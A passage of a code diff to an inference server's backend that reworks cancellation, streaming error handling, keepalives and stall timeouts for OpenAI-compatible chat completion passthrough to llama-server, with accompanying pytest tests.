+                            message_kwargs["reasoning_content"] = reasoning_text
+                        _choices.append(
+                            CompletionChoice(
+                                index = _idx,
+                                message = CompletionMessage(**message_kwargs),
+                                finish_reason = _clamp_finish_reason(completion_finish),
+                            )
+                        )
+                        _monitor_replies.append(visible_text)
+                        if completion_usage:
+                            # The prompt is shared across all n choices, so count its
+                            # tokens ONCE (OpenAI bills only generated tokens for each
+                            # extra choice). Only completion_tokens accumulates.
+                            _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens
+                            _sum_completion += completion_usage.get("completion_tokens") or 0
+                            if _prompt_details is None:
+                                _prompt_details = completion_usage.get("prompt_tokens_details")
+                    return (
+                        _n,
+                        _choices,
+                        _monitor_replies,
+                        _prompt_tokens,
+                        _sum_completion,
+                        _prompt_details,
                     )
-                    _monitor_replies.append(visible_text)
-                    if completion_usage:
-                        # The prompt is shared across all n choices, so count its
-                        # tokens ONCE (OpenAI bills only generated tokens for each
-                        # extra choice). Only completion_tokens accumulates.
-                        _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens
-                        _sum_completion += completion_usage.get("completion_tokens") or 0
-                        if _prompt_details is None:
-                            _prompt_details = completion_usage.get("prompt_tokens_details")
+
+                drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_choices))
+                (
+                    _n,
+                    _choices,
+                    _monitor_replies,
+                    _prompt_tokens,
+                    _sum_completion,
+                    _prompt_details,
+                ) = await asyncio.shield(drain_task)
 
                 response = ChatCompletion(
                     id = completion_id,
@@ -6859,6 +7244,11 @@ async def openai_chat_completions(
                 api_monitor.finish(monitor_id)
                 return _model_json_response(response)
 
+            except asyncio.CancelledError:
+                cancel_event.set()
+                await _drain_cancelled_gguf_task()
+                api_monitor.finish(monitor_id, "cancelled")
+                raise
             except Exception as e:
                 logger.error(f"Error during GGUF completion: {e}", exc_info = True)
                 api_monitor.fail(monitor_id, _friendly_error(e))
@@ -6878,7 +7268,6 @@ async def openai_chat_completions(
                         ),
                     )
                 raise HTTPException(status_code = 500, detail = safe_error_detail(e))
-
     # ── Standard Unsloth path ─────────────────────────────────
 
     # Decode image (from content parts OR legacy field)
@@ -7198,7 +7587,7 @@ async def openai_chat_completions(
                         "type": "server_error",
                     },
                 }
-                yield f"data: {json.dumps(error_chunk)}\n\n"
+                yield _openai_stream_error_sse(error_chunk)
             finally:
                 await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                 if gen is not None:
@@ -7543,7 +7932,7 @@ async def openai_chat_completions(
                         "type": "server_error",
                     },
                 }
-                yield f"data: {json.dumps(error_chunk)}\n\n"
+                yield _openai_stream_error_sse(error_chunk)
             finally:
                 await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                 _tracker.__exit__(None, None, None)
@@ -8041,8 +8430,12 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
         if not isinstance(body, dict):
             raise HTTPException(status_code = 400, detail = "Request body must be a JSON object")
 
-    if body.get("max_tokens") is None:
-        body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR
+    _resolved_max_tokens = _effective_openai_max_tokens_from_values(body.get("max_tokens"))
+    body["max_tokens"] = (
+        _resolved_max_tokens
+        if _resolved_max_tokens is not None
+        else (llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR)
+    )
     target_url = f"{llama_backend.base_url}/v1/completions"
     is_stream = body.get("stream", False)
     prompt_text = _flatten_monitor_prompt(body.get("prompt", ""))
@@ -8135,7 +8528,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                     logger.error("openai_completions stream error: %s", e)
                     api_monitor.fail(monitor_id, _friendly_error(e))
                     error_chunk = _openai_stream_error_chunk(e)
-                    yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
+                    yield _openai_stream_error_sse_bytes(error_chunk)
                     return
                 api_monitor.finish(monitor_id, "cancelled")
                 return
@@ -8150,7 +8543,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                 logger.error("openai_completions stream error: %s", e)
                 api_monitor.fail(monitor_id, _friendly_error(e))
                 error_chunk = _openai_stream_error_chunk(e)
-                yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
+                yield _openai_stream_error_sse_bytes(error_chunk)
                 return
             finally:
                 await _aclose_stream_resources(
@@ -10897,13 +11290,15 @@ def _build_passthrough_payload(
 ):
     body = {
         "messages": openai_messages,
-        "tools": openai_tools,
-        "tool_choice": tool_choice,
         "temperature": temperature,
         "top_p": top_p,
         "top_k": top_k,
         "stream": stream,
     }
+    if openai_tools:
+        body["tools"] = openai_tools
+        if tool_choice is not None:
+            body["tool_choice"] = tool_choice
     if seed is not None:
         body["seed"] = seed
     if stream and stream_options is not None:
@@ -11110,13 +11505,17 @@ async def _anthropic_passthrough_stream(
                     yield event
                 return
         finally:
-            await _aclose_stream_resources(
-                watchers = (cancel_watcher, disconnect_watcher),
-                iterator = lines_iter,
-                resp = resp,
-                client = client,
-            )
-            _tracker.__exit__(None, None, None)
+            # Same shape as the OpenAI passthrough: a close-time CancelledError
+            # re-raised by _aclose_stream_resources must not skip the tracker exit.
+            try:
+                await _aclose_stream_resources(
+                    watchers = (cancel_watcher, disconnect_watcher),
+                    iterator = lines_iter,
+                    resp = resp,
+                    client = client,
+                )
+            finally:
+                _tracker.__exit__(None, None, None)
 
         for line in emitter.finish():
             yield line
@@ -11613,6 +12012,9 @@ def _build_openai_passthrough_body(
     system_prompt, _, _ = _extract_content_parts(payload.messages)
     messages = _set_or_prepend_system_message(messages, system_prompt)
     tool_choice = payload.tool_choice if payload.tool_choice is not None else "auto"
+    tools = payload.tools
+    if payload.tool_choice == "none" and not _has_openai_tool_history(payload.messages):
+        tools = None
     # Forward per-request reasoning fields (enable_thinking / reasoning_effort /
     # preserve_thinking) via chat_template_kwargs so the Jinja template renders
     # in the caller's mode, gated on the active template's capabilities exactly
@@ -11628,12 +12030,12 @@ def _build_openai_passthrough_body(
     )
     return _build_passthrough_payload(
         messages,
-        payload.tools,
+        tools,
         payload.temperature,
         payload.top_p,
         payload.top_k,
         # Honor max_completion_tokens on the tools/response_format passthrough too.
-        _effective_max_tokens(payload),
+        _effective_openai_max_tokens(payload),
         payload.stream,
         stop = payload.stop,
         min_p = payload.min_p,
@@ -11660,30 +12062,23 @@ async def _openai_passthrough_stream(
     """Streaming client-side pass-through for /v1/chat/completions.
 
     Forwards the client's OpenAI function-calling request to llama-server and
-    relays the SSE stream back verbatim, preserving llama-server's native
-    response ``id``, ``finish_reason`` (including ``"tool_calls"``),
-    ``delta.tool_calls``, and any client-requested trailing ``usage`` chunk so
-    the client sees a standard OpenAI response.
+    relays the SSE stream back with minimal normalization (reasoning-only
+    deltas gain ``content: ""``; errors and missing terminal markers get a
+    closing ``[DONE]``), preserving llama-server's native response ``id``,
+    ``finish_reason`` (including ``"tool_calls"``), ``delta.tool_calls``, and
+    any client-requested trailing ``usage`` chunk so the client sees a
+    standard OpenAI response.
 
     Reasoning/tool-call splitting is delegated to llama-server (``--jinja
     --reasoning-format auto``), so ``delta.content`` carries no raw markup and is
     deliberately not re-parsed locally, unlike the ``/completion`` paths.
     """
-    target_url = f"{llama_backend.base_url}/v1/chat/completions"
-    body = _build_openai_passthrough_body(
-        payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
-    )
-    # Text-form tool calls from small models get promoted to structured calls on
-    # the way back (declared client tools only); requests without tools or with
-    # auto_heal_tool_calls=false keep the verbatim relay. tool_choice constrains
-    # the allowlist ("none" disables, a forced function narrows to it).
-    _allowed_tools = heal_gate(
-        payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
-    )
-
     _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
     _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
     _tracker.__enter__()
+    target_url = f"{llama_backend.base_url}/v1/chat/completions"
+    upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend)
+
     client = None
     resp = None
     send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None
@@ -11705,6 +12100,17 @@ async def _openai_passthrough_stream(
 
     # Keep tracker cleanup paired if pre-header dispatch is cancelled.
     try:
+        body = _build_openai_passthrough_body(
+            payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
+        )
+        # Text-form tool calls from small models get promoted to structured calls on
+        # the way back (declared client tools only); requests without tools or with
+        # auto_heal_tool_calls=false keep the unhealed relay. tool_choice constrains
+        # the allowlist ("none" disables, a forced function narrows to it).
+        _allowed_tools = heal_gate(
+            payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
+        )
+
         # Keep the pre-header window short so accepted SSE clients receive
         # immediate headers in the common timeout-reduced stall.
         client = httpx.AsyncClient(
@@ -11718,12 +12124,16 @@ async def _openai_passthrough_stream(
 
         while True:
             try:
-                req = client.build_request(
-                    "POST", target_url, json = body, headers = {"Connection": "close"}
-                )
+                req = client.build_request("POST", target_url, json = body, headers = upstream_headers)
                 first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
                 send_task = asyncio.create_task(
-                    _send_stream_with_preheader_cancel(client, req, cancel_event, request = request)
+                    _send_stream_with_preheader_cancel(
+                        client,
+                        req,
+                        cancel_event,
+                        request = request,
+                        mark_cancel_on_cancel = False,
+                    )
                 )
                 done, _ = await asyncio.wait(
                     {send_task},
@@ -11749,13 +12159,14 @@ async def _openai_passthrough_stream(
             if resp is None and send_task is not None and not send_task.done():
                 break
             if resp is None:
+                if cancel_event is not None:
+                    cancel_event.set()
                 api_monitor.finish(monitor_id, "cancelled")
-                await _aclose_send_task(send_task)
                 try:
-                    await client.aclose()
-                except Exception:
-                    pass
-                _tracker.__exit__(None, None, None)
+                    await _aclose_send_task(send_task)
+                    await _aclose_stream_resources(client = client)
+                finally:
+                    _tracker.__exit__(None, None, None)
                 return _SameTaskStreamingResponse(
                     iter(()),
                     media_type = "text/event-stream",
@@ -11780,6 +12191,7 @@ async def _openai_passthrough_stream(
                 await resp.aclose()
             except Exception:
                 pass
+            resp = None
             # Opt-in overflow policy: shrink and retry instead of a fatal 400.
             if (
                 _truncate_budget > 0
@@ -11808,11 +12220,14 @@ async def _openai_passthrough_stream(
             disconnect_watcher = None
 
             nonlocal resp, send_task, first_token_deadline, _truncate_budget
+            nonlocal client
             monitor_done = False
             saw_finish_reason = False
             saw_done = False
             saw_stream_error = False
+            saw_stream_item = False
             saw_tool_call_delta = False
+            terminal_seen = False
             last_chunk_id = completion_id
             last_chunk_model = model_name
             last_chunk_created = int(time.time())
@@ -11873,6 +12288,13 @@ async def _openai_passthrough_stream(
                     lines.append("data: " + json.dumps(chunk, ensure_ascii = False))
                 return lines
 
+            stall_timeout_s = _openai_compat_stream_stall_timeout()
+
+            def _terminal_read_timeout_s() -> Optional[float]:
+                if terminal_seen:
+                    return _OPENAI_PASSTHROUGH_TERMINAL_GRACE_S
+                return stall_timeout_s
+
             def _heal_transform(chunk_data: dict, raw_line: str) -> list:
                 """SSE lines to emit in place of one upstream line (healing on)."""
                 choices = chunk_data.get("choices")
@@ -11941,24 +12363,47 @@ async def _openai_passthrough_stream(
 
             try:
                 while True:
-                    if send_task is not None and not send_task.done():
-                        try:
-                            resp = await send_task
-                        except httpx.RequestError as e:
-                            logger.error("openai passthrough stream: upstream unreachable: %s", e)
-                            api_monitor.fail(monitor_id, _friendly_error(e))
-                            yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n"
-                            return
-                        send_task = None
-                    elif send_task is not None:
-                        try:
-                            resp = send_task.result()
-                        except httpx.RequestError as e:
-                            logger.error("openai passthrough stream: upstream unreachable: %s", e)
-                            api_monitor.fail(monitor_id, _friendly_error(e))
-                            yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n"
-                            return
-                        send_task = None
+                    if send_task is not None:
+                        last_keepalive_at = time.monotonic()
+                        while not send_task.done():
+                            # Wake often enough that _preheader_cancelled keeps
+                            # cancel/disconnect latency sub-second during prefill;
+                            # keepalives still pace off last_keepalive_at.
+                            wait_timeout = min(
+                                _STREAM_DISCONNECT_POLL_TIMEOUT_S,
+                                _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S,
+                            )
+                            done, _ = await asyncio.wait(
+                                {send_task},
+                                timeout = wait_timeout,
+                                return_when = asyncio.FIRST_COMPLETED,
+                            )
+                            if send_task in done:
+                                break
+                            if await _preheader_cancelled(cancel_event, request):
+                                api_monitor.finish(monitor_id, "cancelled")
+                                return
+                            # The downstream SSE response is already committed;
+                            # keep strict clients and proxies from treating a long
+                            # llama-server prefill/header wait as a dead stream.
+                            now = time.monotonic()
+                            if (
+                                now - last_keepalive_at
+                                >= _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S
+                            ):
+                                last_keepalive_at = now
+                                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                        if resp is None:
+                            try:
+                                resp = send_task.result()
+                            except httpx.RequestError as e:
+                                logger.error(
+                                    "openai passthrough stream: upstream unreachable: %s", e
+                                )
+                                api_monitor.fail(monitor_id, _friendly_error(e))
+                                yield _openai_stream_error_sse(_openai_stream_error_chunk(e))
+                                return
+                            send_task = None
 
                     if resp is None:
                         api_monitor.finish(monitor_id, "cancelled")
@@ -11986,12 +12431,16 @@ async def _openai_passthrough_stream(
                     ):
                         _truncate_budget -= 1
                         req = client.build_request(
-                            "POST", target_url, json = body, headers = {"Connection": "close"}
+                            "POST", target_url, json = body, headers = upstream_headers
                         )
                         first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
                         send_task = asyncio.create_task(
                             _send_stream_with_preheader_cancel(
-                                client, req, cancel_event, request = request
+                                client,
+                                req,
+                                cancel_event,
+                                request = request,
+                                mark_cancel_on_cancel = False,
                             )
                         )
                         continue
@@ -12006,7 +12455,7 @@ async def _openai_passthrough_stream(
                         )
                     )
                     api_monitor.fail(monitor_id, err_text[:500])
-                    yield f"data: {json.dumps(error_payload)}\n\n"
+                    yield _openai_stream_error_sse(error_payload)
                     return
 
                 cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
@@ -12020,12 +12469,14 @@ async def _openai_passthrough_stream(
                     request = request,
                     first_token_deadline = first_token_deadline,
                     response = resp,
+                    post_first_item_read_timeout_s = _terminal_read_timeout_s,
                 ):
                     if not raw_line:
                         continue
-                    if not raw_line.startswith("data: "):
+                    if not raw_line.startswith("data:"):
                         continue
-                    data_text = raw_line[6:].strip()
+                    saw_stream_item = True
+                    data_text = raw_line[5:].strip()
                     if data_text == "[DONE]":
                         saw_done = True
                         # Upstream ended without a finish chunk: heal the residue
@@ -12057,13 +12508,11 @@ async def _openai_passthrough_stream(
                         yield raw_line + "\n\n"
                         monitor_done = True
                         break
-                    # Honor parallel_tool_calls=false (best-effort): drop tool_call
-                    # deltas with index>=1 so only the first call streams. Only
-                    # lines carrying tool_calls are reparsed; everything else is
-                    # relayed byte-for-byte.
-                    if payload.parallel_tool_calls is False and '"tool_calls"' in raw_line:
-                        raw_line = _cap_parallel_tool_calls_sse_line(raw_line)
-                        data_text = raw_line[6:].strip()
+                    raw_line = _normalize_openai_passthrough_sse_line(
+                        raw_line,
+                        cap_parallel_tool_calls = payload.parallel_tool_calls is False,
+                    )
+                    data_text = raw_line[5:].strip()
                     try:
                         chunk_data = json.loads(data_text)
                     except json.JSONDecodeError:
@@ -12090,8 +12539,9 @@ async def _openai_passthrough_stream(
                         if _monitor_openai_error_message(chunk_data):
                             saw_stream_error = True
                     # With healing active, a content-bearing line may be replaced by
-                    # held/promoted chunks; otherwise the single upstream line
-                    # relays verbatim (monitored exactly as emitted either way).
+                    # held/promoted chunks; otherwise the single (already
+                    # normalized) line relays unchanged (monitored exactly as
+                    # emitted either way).
                     if (
                         healer is not None
                         and not healer.dormant
@@ -12141,6 +12591,27 @@ async def _openai_passthrough_stream(
                         yield out_line + "\n\n"
                         if monitor_event == "done":
                             monitor_done = True
+                            break
+                        terminal_state = (
+                            _openai_passthrough_terminal_state_from_data(chunk_data)
+                            if out_line is raw_line
+                            else _openai_passthrough_sse_line_terminal_state(out_line)
+                        )
+                        if terminal_state == "usage" or (
+                            terminal_state == "finish" and not _wants_stream_usage(payload)
+                        ):
+                            done_line = _SSE_DONE_LINE
+                            _monitor_openai_sse_line(
+                                monitor_id,
+                                done_line,
+                                llama_backend.context_length,
+                            )
+                            yield done_line + "\n\n"
+                            saw_done = True
+                            monitor_done = True
+                            break
+                        if terminal_state == "finish":
+                            terminal_seen = True
                     if monitor_done:
                         break
                 if not saw_done and not saw_stream_error and not cancel_event.is_set():
@@ -12162,7 +12633,7 @@ async def _openai_passthrough_stream(
                             llama_backend.context_length,
                         )
                         yield finish_line + "\n\n"
-                    done_line = "data: [DONE]"
+                    done_line = _SSE_DONE_LINE
                     _monitor_openai_sse_line(
                         monitor_id,
                         done_line,
@@ -12178,6 +12649,29 @@ async def _openai_passthrough_stream(
             except asyncio.CancelledError:
                 api_monitor.finish(monitor_id, "cancelled")
                 raise
+            except httpx.ReadTimeout as e:
+                if terminal_seen and not saw_stream_error and not cancel_event.is_set():
+                    done_line = _SSE_DONE_LINE
+                    _monitor_openai_sse_line(
+                        monitor_id,
+                        done_line,
+                        llama_backend.context_length,
+                    )
+                    yield done_line + "\n\n"
+                    api_monitor.finish(monitor_id)
+                    return
+                if cancel_event.is_set():
+                    api_monitor.finish(monitor_id, "cancelled")
+                    return
+                logger.error(
+                    "openai passthrough stream %s: %s",
+                    "stalled mid-response" if saw_stream_item else "timeout",
+                    e,
+                )
+                api_monitor.fail(monitor_id, _friendly_error(e))
+                get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
+                err = _openai_stream_error_chunk(e)
+                yield _openai_stream_error_sse(err)
             except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
                 # Watcher closed resp on cancel. Emit nothing extra; the client
                 # initiated the cancel or already disconnected.
@@ -12186,6 +12680,16 @@ async def _openai_passthrough_stream(
                     get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                     raise
                 api_monitor.finish(monitor_id, "cancelled")
+            except HTTPException as exc:
+                status_code = getattr(exc, "status_code", 500) or 500
+                detail = exc.detail
+                error_payload = (
+                    detail
+                    if isinstance(detail, dict) and "error" in detail
+                    else openai_error_body(str(detail), status = status_code)
+                )
+                api_monitor.fail(monitor_id, str(detail))
+                yield _openai_stream_error_sse(error_payload)
             except Exception as e:
                 if cancel_event.is_set():
                     api_monitor.finish(monitor_id, "cancelled")
@@ -12195,25 +12699,31 @@ async def _openai_passthrough_stream(
                 api_monitor.fail(monitor_id, _friendly_error(e))
                 get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                 err = _openai_stream_error_chunk(e)
-                yield f"data: {json.dumps(err)}\n\n"
+                yield _openai_stream_error_sse(err)
             finally:
-                await _aclose_send_task(send_task)
-                await _aclose_stream_resources(
-                    watchers = (cancel_watcher, disconnect_watcher),
-                    iterator = lines_iter,
-                    resp = resp,
-                    client = client,
-                )
-                _tracker.__exit__(None, None, None)
+                # _aclose_stream_resources re-raises a close-time CancelledError
+                # only after finishing teardown, and the tracker exits either way.
+                try:
+                    await _aclose_send_task(send_task)
+                    await _aclose_stream_resources(
+                        watchers = (cancel_watcher, disconnect_watcher),
+                        iterator = lines_iter,
+                        resp = resp,
+                        client = client,
+                    )
+                finally:
+                    _tracker.__exit__(None, None, None)
 
         async def _unstarted_cleanup() -> None:
             # Client disconnected before the body stream started, so _stream()'s
             # finally never ran. Release the eagerly-opened upstream resp/client
             # and the cancel-registry entry here; the watchers and line iterator
             # are created inside _stream(), so there is nothing else to close.
-            await _aclose_send_task(send_task)
-            await _aclose_stream_resources(resp = resp, client = client)
-            _tracker.__exit__(None, None, None)
+            try:
+                await _aclose_send_task(send_task)
+                await _aclose_stream_resources(resp = resp, client = client)
+            finally:
+                _tracker.__exit__(None, None, None)
 
         return _SameTaskStreamingResponse(
             _stream(),
@@ -12225,10 +12735,19 @@ async def _openai_passthrough_stream(
             },
             unstarted_cleanup = _unstarted_cleanup,
         )
-    except BaseException:
-        await _aclose_send_task(send_task)
-        await _aclose_stream_resources(resp = resp, client = client)
-        _tracker.__exit__(None, None, None)
+    except BaseException as exc:
+        if isinstance(exc, asyncio.CancelledError):
+            if cancel_event is not None:
+                cancel_event.set()
+            api_monitor.finish(monitor_id, "cancelled")
+        else:
+            detail = exc.detail if isinstance(exc, HTTPException) else _friendly_error(exc)
+            api_monitor.fail(monitor_id, str(detail))
+        try:
+            await _aclose_send_task(send_task)
+            await _aclose_stream_resources(resp = resp, client = client)
+        finally:
+            _tracker.__exit__(None, None, None)
         raise
 
 
@@ -12237,6 +12756,9 @@ async def _openai_passthrough_non_streaming(
     payload,
     model_name,
     monitor_id: Optional[str] = None,
+    *,
+    request: Optional[Request] = None,
+    cancel_event = None,
 ):
     """Non-streaming client-side pass-through for /v1/chat/completions.
 
@@ -12245,20 +12767,67 @@ async def _openai_passthrough_non_streaming(
     ``tool_calls``, and accurate ``usage`` token counts.
     """
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
+    upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend)
     body = _build_openai_passthrough_body(
         payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
     )
+    body["stream"] = False
+    body.pop("stream_options", None)
 
     _truncate_budget = (
         _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0
     )
-    while True:
-        try:
-            resp = await nonstreaming_client().post(
+
+    async def _post(body_to_send):
+        if cancel_event is None and request is None:
+            return await nonstreaming_client().post(
                 target_url,
-                json = body,
+                json = body_to_send,
+                headers = upstream_headers,
                 timeout = _llama_non_streaming_generation_timeout(),
             )
+
+        if cancel_event is None:
+            cancel = threading.Event()
+        else:
+            cancel = cancel_event
+        client = _cancelable_nonstreaming_client()
+        watcher = asyncio.create_task(
+            _await_cancel_or_disconnect_then_close_client(
+                cancel_event = cancel,
+                request = request,
+                client = client,
+            )
+        )
+        try:
+            try:
+                response = await client.post(
+                    target_url,
+                    json = body_to_send,
+                    headers = upstream_headers,
+                    timeout = _llama_non_streaming_generation_timeout(),
+                )
+            except httpx.RequestError:
+                if cancel.is_set():
+                    raise asyncio.CancelledError()
+                raise
+            if cancel.is_set():
+                raise asyncio.CancelledError()
+            return response
+        finally:
+            watcher.cancel()
+            try:
+                await watcher
+            except (asyncio.CancelledError, Exception):
+                pass
+            try:
+                await client.aclose()
+            except Exception:
+                pass
+
+    while True:
+        try:
+            resp = await _post(body)
         except asyncio.CancelledError:
             api_monitor.finish(monitor_id, "cancelled")
             raise
@@ -12326,15 +12895,14 @@ async def _openai_passthrough_non_streaming(
             "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)],
         }
         try:
-            retry_resp = await nonstreaming_client().post(
-                target_url,
-                json = retry_body,
-                timeout = _llama_non_streaming_generation_timeout(),
-            )
+            retry_resp = await _post(retry_body)
             if retry_resp.status_code == 200:
                 retry_data = retry_resp.json()
                 if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")):
                     resp, data = retry_resp, retry_data
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
         except (httpx.RequestError, ValueError) as exc:
             logger.warning("tool-call nudge retry failed; keeping original: %s", exc)
 
diff --git a/studio/backend/tests/test_inference_dispatcher_resilience.py b/studio/backend/tests/test_inference_dispatcher_resilience.py
index 60d7503485..6184496d78 100644
--- a/studio/backend/tests/test_inference_dispatcher_resilience.py
+++ b/studio/backend/tests/test_inference_dispatcher_resilience.py
@@ -112,7 +112,7 @@ def test_route_llama_streaming_async_clients_disable_proxy_env():
             continue
         calls.append(node)
 
-    assert len(calls) == 4
+    assert len(calls) == 5
     for call in calls:
         assert any(
             kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False
diff --git a/studio/backend/tests/test_llama_cpp_stream_cancel.py b/studio/backend/tests/test_llama_cpp_stream_cancel.py
new file mode 100644
index 0000000000..1c73f4d17c
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_stream_cancel.py
@@ -0,0 +1,81 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+import contextlib
+import os
+import sys
+import threading
+
+import httpx
+import pytest
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference.llama_cpp import LlamaCppBackend, _LlamaStreamCancelled
+
+
+def _backend_stub() -> LlamaCppBackend:
+    backend = LlamaCppBackend.__new__(LlamaCppBackend)
+    backend._process = object()
+    backend._healthy = True
+    backend._port = 48848
+    backend._effective_context_length = 4096
+    backend._supports_reasoning = False
+    backend._reasoning_always_on = False
+    backend._reasoning_style = "enable_thinking"
+    backend._supports_preserve_thinking = False
+    return backend
+
+
+def test_stream_cancel_uses_internal_exception_not_generator_exit():
+    class FakeResponse:
+        status_code = 200
+
+        def close(self):
+            pass
+
+    class FakeStream:
+        def __enter__(self):
+            return FakeResponse()
+
+        def __exit__(self, *_args):
+            return False
+
+    class FakeClient:
+        def stream(self, *_args, **_kwargs):
+            return FakeStream()
+
+    cancel_event = threading.Event()
+
+    with pytest.raises(Exception) as exc_info:
+        with LlamaCppBackend._stream_with_retry(
+            FakeClient(),
+            "http://llama.test/v1/chat/completions",
+            {},
+            cancel_event,
+        ):
+            cancel_event.set()
+            raise httpx.ReadError("client closed")
+
+    assert exc_info.type is _LlamaStreamCancelled
+    assert not issubclass(exc_info.type, GeneratorExit)
+
+
+def test_generate_chat_completion_swallows_internal_stream_cancel(monkeypatch):
+    backend = _backend_stub()
+
+    @contextlib.contextmanager
+    def fake_open_stream(*_args, **_kwargs):
+        raise _LlamaStreamCancelled
+
+    monkeypatch.setattr(backend, "_open_stream", fake_open_stream)
+
+    chunks = list(
+        backend.generate_chat_completion(
+            [{"role": "user", "content": "hi"}],
+            cancel_event = threading.Event(),
+        )
+    )
+
+    assert chunks == []
diff --git a/studio/backend/tests/test_llama_route_timeouts.py b/studio/backend/tests/test_llama_route_timeouts.py
index 24866bd03e..b4666e3d18 100644
--- a/studio/backend/tests/test_llama_route_timeouts.py
+++ b/studio/backend/tests/test_llama_route_timeouts.py
@@ -203,3 +203,87 @@ def test_preheader_send_cleanup_on_disconnect_and_cancel():
 
     asyncio.run(_run(False))
     asyncio.run(_run(True))
+
+
+def test_stream_stall_timeout_callable_re_resolved_each_read():
+    # The OpenAI passthrough passes a callable so the stall bound can switch to
+    # the short post-terminal grace mid-stream; it must be re-resolved per read,
+    # not captured once at generator start.
+    async def _run():
+        response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}}))
+        values = iter([100.0, 2.0])
+        seen = []
+
+        class _Request:
+            async def is_disconnected(self):
+                return False
+
+        class _Items:
+            def __init__(self):
+                self.count = 0
+
+            async def __anext__(self):
+                self.count += 1
+                if self.count > 3:
+                    raise StopAsyncIteration
+                return "data: {}"
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _Items(),
+            cancel_event = threading.Event(),
+            request = _Request(),
+            response = response,
+            first_token_deadline = time.monotonic() + 1,
+            post_first_item_read_timeout_s = lambda: next(values, 5.0),
+        ):
+            seen.append(response.request.extensions["timeout"].get("read"))
+
+        assert len(seen) == 3
+        # The callable is resolved right after the first item (arming the
+        # post-first window) and again before each later read, consuming
+        # successive values.
+        assert seen[0] == 100.0
+        assert 1.0 <= seen[1] <= 2.0
+        assert 4.0 <= seen[2] <= 5.0
+
+    asyncio.run(_run())
+
+
+def test_stream_stall_timeout_disabled_clears_read_timeout():
+    # UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT=0 disables the stall guard, so
+    # the callable returns None. Once a chunk has arrived the leftover
+    # first-token read timeout must be cleared, else a long post-first-chunk gap
+    # trips a stale deadline the operator asked to turn off.
+    async def _run():
+        response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}}))
+        seen = []
+
+        class _Request:
+            async def is_disconnected(self):
+                return False
+
+        class _Items:
+            def __init__(self):
+                self.count = 0
+
+            async def __anext__(self):
+                self.count += 1
+                if self.count > 2:
+                    raise StopAsyncIteration
+                return "data: {}"
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _Items(),
+            cancel_event = threading.Event(),
+            request = _Request(),
+            response = response,
+            first_token_deadline = time.monotonic() + 5,
+            post_first_item_read_timeout_s = lambda: None,
+        ):
+            seen.append(response.request.extensions["timeout"].get("read"))
+
+        # The first-token path armed a finite read timeout; after the first chunk
+        # with the guard disabled, it is cleared to None on every subsequent read.
+        assert seen == [None, None], seen
+
+    asyncio.run(_run())
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index 05e017ba7f..10cbd2aa01 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -8,6 +8,7 @@ import sys
 import asyncio
 import json
 import threading
+import time
 from types import SimpleNamespace
 
 _backend = os.path.join(os.path.dirname(__file__), "..")
@@ -30,6 +31,7 @@ from core.inference.anthropic_compat import (
 )
 from core.inference.api_monitor import ApiMonitor
 from routes.inference import (
+    _aclose_stream_resources,
     _build_chat_request,
     _build_openai_passthrough_body,
     _build_passthrough_payload,
@@ -38,24 +40,58 @@ from routes.inference import (
     _coalesce_consecutive_user_turns,
     _drop_empty_assistant_sentinels,
     _effective_max_tokens,
+    _effective_openai_max_tokens,
+    _effective_openai_max_tokens_from_values,
     _extract_content_parts,
     _friendly_error,
     _friendly_upstream_error,
     _merge_user_content,
     _monitor_openai_chunk,
